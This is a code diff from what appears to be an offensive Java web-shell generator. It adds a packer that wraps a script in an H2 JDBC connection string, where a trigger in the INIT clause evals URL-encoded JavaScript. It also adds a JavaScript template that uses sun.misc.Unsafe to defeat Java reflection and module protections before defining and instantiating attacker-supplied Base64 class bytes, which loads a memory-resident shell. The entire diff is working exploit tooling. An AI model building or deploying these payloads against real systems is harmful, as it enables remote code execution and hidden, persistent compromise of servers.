diff --git a/packer/src/main/java/com/reajason/javaweb/packer/Packers.java b/packer/src/main/java/com/reajason/javaweb/packer/Packers.java
index 646a079d..ddc67730 100644
--- a/packer/src/main/java/com/reajason/javaweb/packer/Packers.java
+++ b/packer/src/main/java/com/reajason/javaweb/packer/Packers.java
@@ -17,6 +17,7 @@ import com.reajason.javaweb.packer.groovy.GroovyClassDefinerPacker;
 import com.reajason.javaweb.packer.groovy.GroovyPacker;
 import com.reajason.javaweb.packer.groovy.GroovyScriptEnginePacker;
 import com.reajason.javaweb.packer.h2.H2JSPacker;
+import com.reajason.javaweb.packer.h2.H2JSURLEncodePacker;
 import com.reajason.javaweb.packer.h2.H2JavacPacker;
 import com.reajason.javaweb.packer.h2.H2Packer;
 import com.reajason.javaweb.packer.jar.*;
@@ -172,6 +173,7 @@ public enum Packers {
     H2(new H2Packer()),
     H2Javac(new H2JavacPacker(), H2Packer.class),
     H2JS(new H2JSPacker(), H2Packer.class),
+    H2JSURLEncode(new H2JSURLEncodePacker(), H2Packer.class),
 
     Jar(new DefaultJarPacker()),
     ScriptEngineJar(new ScriptEngineJarPacker()),
diff --git a/packer/src/main/java/com/reajason/javaweb/packer/h2/H2JSURLEncodePacker.java b/packer/src/main/java/com/reajason/javaweb/packer/h2/H2JSURLEncodePacker.java
new file mode 100644
index 00000000..a145083f
--- /dev/null
+++ b/packer/src/main/java/com/reajason/javaweb/packer/h2/H2JSURLEncodePacker.java
@@ -0,0 +1,27 @@
+package com.reajason.javaweb.packer.h2;
+
+import com.reajason.javaweb.packer.ClassPackerConfig;
+import com.reajason.javaweb.packer.Packer;
+import com.reajason.javaweb.packer.Packers;
+import lombok.SneakyThrows;
+
+import java.net.URLEncoder;
+
+/**
+ * @author ReaJason
+ * @since 2025/6/28
+ */
+public class H2JSURLEncodePacker implements Packer {
+    String template = "jdbc:h2:mem:a;init=CREATE TRIGGER a BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\neval(decodeURIComponent('{{script}}'))$$";
+
+    @SneakyThrows
+    @Override
+    public String pack(ClassPackerConfig config) {
+        String script = Packers.ScriptEngine.getInstance().pack(config);
+        String encode = URLEncoder.encode(script, "UTF-8")
+                .replace("+", "%20")
+                .replace("%28", "(")
+                .replace("%29", ")");
+        return template.replace("{{script}}", encode);
+    }
+}
diff --git a/packer/src/main/java/com/reajason/javaweb/packer/scriptengine/DefaultScriptEnginePacker.java b/packer/src/main/java/com/reajason/javaweb/packer/scriptengine/DefaultScriptEnginePacker.java
index 0f0e5604..05090d6a 100644
--- a/packer/src/main/java/com/reajason/javaweb/packer/scriptengine/DefaultScriptEnginePacker.java
+++ b/packer/src/main/java/com/reajason/javaweb/packer/scriptengine/DefaultScriptEnginePacker.java
@@ -7,11 +7,16 @@ import lombok.SneakyThrows;
 
 public class DefaultScriptEnginePacker implements Packer {
     private final String jsTemplate = Util.loadTemplateFromResource("/memshell-party/ScriptEngine.js");
+    private final String jsBypassModuleTemplate = Util.loadTemplateFromResource("/memshell-party/ScriptEngineBypassModule.js");
 
     @Override
     @SneakyThrows
     public String pack(ClassPackerConfig config) {
-        return scriptToSingleLine(jsTemplate
+        String template = jsTemplate;
+        if (config.isByPassJavaModule()) {
+            template = jsBypassModuleTemplate;
+        }
+        return scriptToSingleLine(template
                 .replace("{{className}}", config.getClassName())
                 .replace("{{base64Str}}", config.getClassBytesBase64Str()));
     }
diff --git a/packer/src/main/resources/memshell-party/ScriptEngineBypassModule.js b/packer/src/main/resources/memshell-party/ScriptEngineBypassModule.js
new file mode 100644
index 00000000..16bc0c7d
--- /dev/null
+++ b/packer/src/main/resources/memshell-party/ScriptEngineBypassModule.js
@@ -0,0 +1,33 @@
+var base64Str = "{{base64Str}}";
+var className = "{{className}}";
+var clsString = java.lang.Class.forName("java.lang.String");
+var bytecode;
+try {
+    var decoder = java.lang.Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
+    bytecode = decoder.getClass().getMethod("decode", clsString).invoke(decoder, base64Str);
+} catch (ee) {
+    var decoder = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance();
+    bytecode = decoder.getClass().getMethod("decodeBuffer", clsString).invoke(decoder, base64Str);
+}
+var clsByteArray = (new java.lang.String("a").getBytes().getClass());
+var theUnsafeMethod = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
+theUnsafeMethod.setAccessible(true);
+unsafe = theUnsafeMethod.get(null);
+var reflectionClass = java.lang.Class.forName("jdk.internal.reflect.Reflection");
+var classBuffer = reflectionClass.getResourceAsStream("Reflection.class").readAllBytes();
+var reflectionAnonymousClass = unsafe.defineAnonymousClass(reflectionClass, classBuffer, null);
+var fieldFilterMapField = reflectionAnonymousClass.getDeclaredField("fieldFilterMap");
+if (fieldFilterMapField.getType().isAssignableFrom(java.lang.Class.forName("java.util.HashMap"))) {
+    unsafe.putObject(reflectionClass, unsafe.staticFieldOffset(fieldFilterMapField), java.lang.Class.forName("java.util.HashMap").newInstance());
+}
+var clz = java.lang.Class.forName("java.lang.Class").getResourceAsStream("Class.class").readAllBytes();
+var ClassAnonymousClass = unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), clz, null);
+var reflectionDataField = ClassAnonymousClass.getDeclaredField("reflectionData");
+unsafe.putObject(java.lang.Class.forName("java.lang.Class"), unsafe.objectFieldOffset(reflectionDataField), null);
+var clsInt = java.lang.Integer.TYPE;
+var defineClassMethod = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", clsByteArray, clsInt, clsInt);
+var modifiers = defineClassMethod.getClass().getDeclaredField("modifiers");
+unsafe.putShort(defineClassMethod, unsafe.objectFieldOffset(modifiers), 0x00000001);
+var cc = defineClassMethod.invoke(new java.net.URLClassLoader(java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.net.URL"), 0), java.lang.Thread.currentThread().getContextClassLoader()), bytecode, 0, bytecode.length);
+cc.newInstance();
+